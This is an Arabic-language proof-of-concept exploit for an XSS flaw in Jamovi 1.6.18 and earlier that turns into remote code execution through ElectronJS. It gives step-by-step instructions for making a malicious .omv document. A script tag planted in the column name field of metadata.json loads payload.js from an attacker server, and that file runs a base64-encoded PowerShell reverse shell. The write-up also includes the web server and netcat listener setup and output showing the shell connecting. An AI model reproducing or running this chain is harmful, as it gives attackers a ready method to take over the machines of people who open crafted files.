
استغلال إثبات المفهوم لثغرة XSS في Jamovi <=1.6.18. يوضح إنشاء مستندات .omv ضارة مع حمولات JavaScript لتحقيق تنفيذ التعليمات البرمجية عن بُعد عبر ElectronJS.
يتأثر Jamovi <=1.6.18 بثغرة من نوع البرمجة النصية عبر المواقع (XSS). اسم العمود عرضة للـ XSS في إطار عمل ElectronJS. يمكن للمهاجم إنشاء مستند .omv (Jamovi) يحتوي على حمولة. عند فتحه من قبل الضحية، يتم تشغيل الحمولة.
🔥\> file example.omv
example.omv: Zip archive data, at least v2.0 to extract
جميع ملفات OMV هي بيانات مؤرشفة. لذا، يمكنك استخراجها وتعديلها لاستغلال ثغرة XSS.
🔥\> unzip example.omv
Archive: example.omv
inflating: META-INF/MANIFEST.MF
inflating: index.html
inflating: metadata.json
inflating: xdata.json
inflating: data.bin
inflating: 01 empty/analysis
🔥\> ls
'01 empty' data.bin index.html metadata.json META-INF example.omv xdata.json
قم بتحرير ملف metadata.json وأضف حمولة XSS الخاصة بك.
🔥\> python3 -m json.tool metadata.json | head
{
"dataSet": {
"rowCount": 20,
"columnCount": 3,
"removedRows": [],
"addedRows": [],
"fields": [
{
"name": "<script src=\"http://10.x.x.x/payload.js\"></script>",
"id": 1,
حقل الاسم (Name) عرضة للـ XSS، وهنا يجب إضافة حمولة XSS. تأكد من هروب علامات الاقتباس المزدوجة الموجودة داخل البرنامج النصي. عند نجاح الاستغلال، يتم الاتصال بخادم الويب الخاص بنا، حيث توجد حمولتنا الفعلية. يمكننا استخدام النص البرمجي JS أدناه لتنفيذ أمر للحصول على وصول شيل.
require('child_process').exec('command')
إذا كان نظام التشغيل ويندوز فيمكنك استخدام باورشيل، وإذا كان لينكس فيمكنك استخدام أمر أحادي السطر bash.
🔥\> cat payload.js
require('child_process').exec('powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AeAAuAHgALgB4ACIALAA0ADUANgA3ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA==')
ما سبق هو مثال لملف JS مع أمر باورشيل. الآن نحتاج إلى ضغطه مرة أخرى مع ملف metadata.json المحدّث.
🔥\> zip -r example.omv .
adding: 01 empty/ (stored 0%)
adding: 01 empty/analysis (deflated 8%)
adding: index.html (deflated 67%)
adding: xdata.json (deflated 33%)
adding: metadata.json (deflated 78%)
adding: META-INF/ (stored 0%)
adding: META-INF/MANIFEST.MF (deflated 30%)
adding: data.bin (deflated 84%)
🔥\> file example.omv
example.omv: Zip archive data, at least v2.0 to extract
قم بإعداد خادم ويب لخدمة ملف payload.js
🔥\> sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
قم بإعداد مستمع netcat
🔥\> rlwrap nc -lvnp 4567
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4567
Ncat: Listening on 0.0.0.0:4567
الآن، قم بتشغيل ملف 'example.omv' لاستغلال ثغرة XSS، وتحقق من خادم الويب الخاص بك لمعرفة الاتصال، ثم تحقق من مستمع netcat.
🔥\> sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.x.x.x - - [31/Oct/2021 08:53:25] "GET /payload.js HTTP/1.1" 200 -
🔥\> rlwrap nc -lvnp 4567
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4567
Ncat: Listening on 0.0.0.0:4567
Ncat: Connection from 10.x.x.x.
Ncat: Connection from 10.x.x.x:76544.
PS C:\Windows\system32> whoami
omni\localuser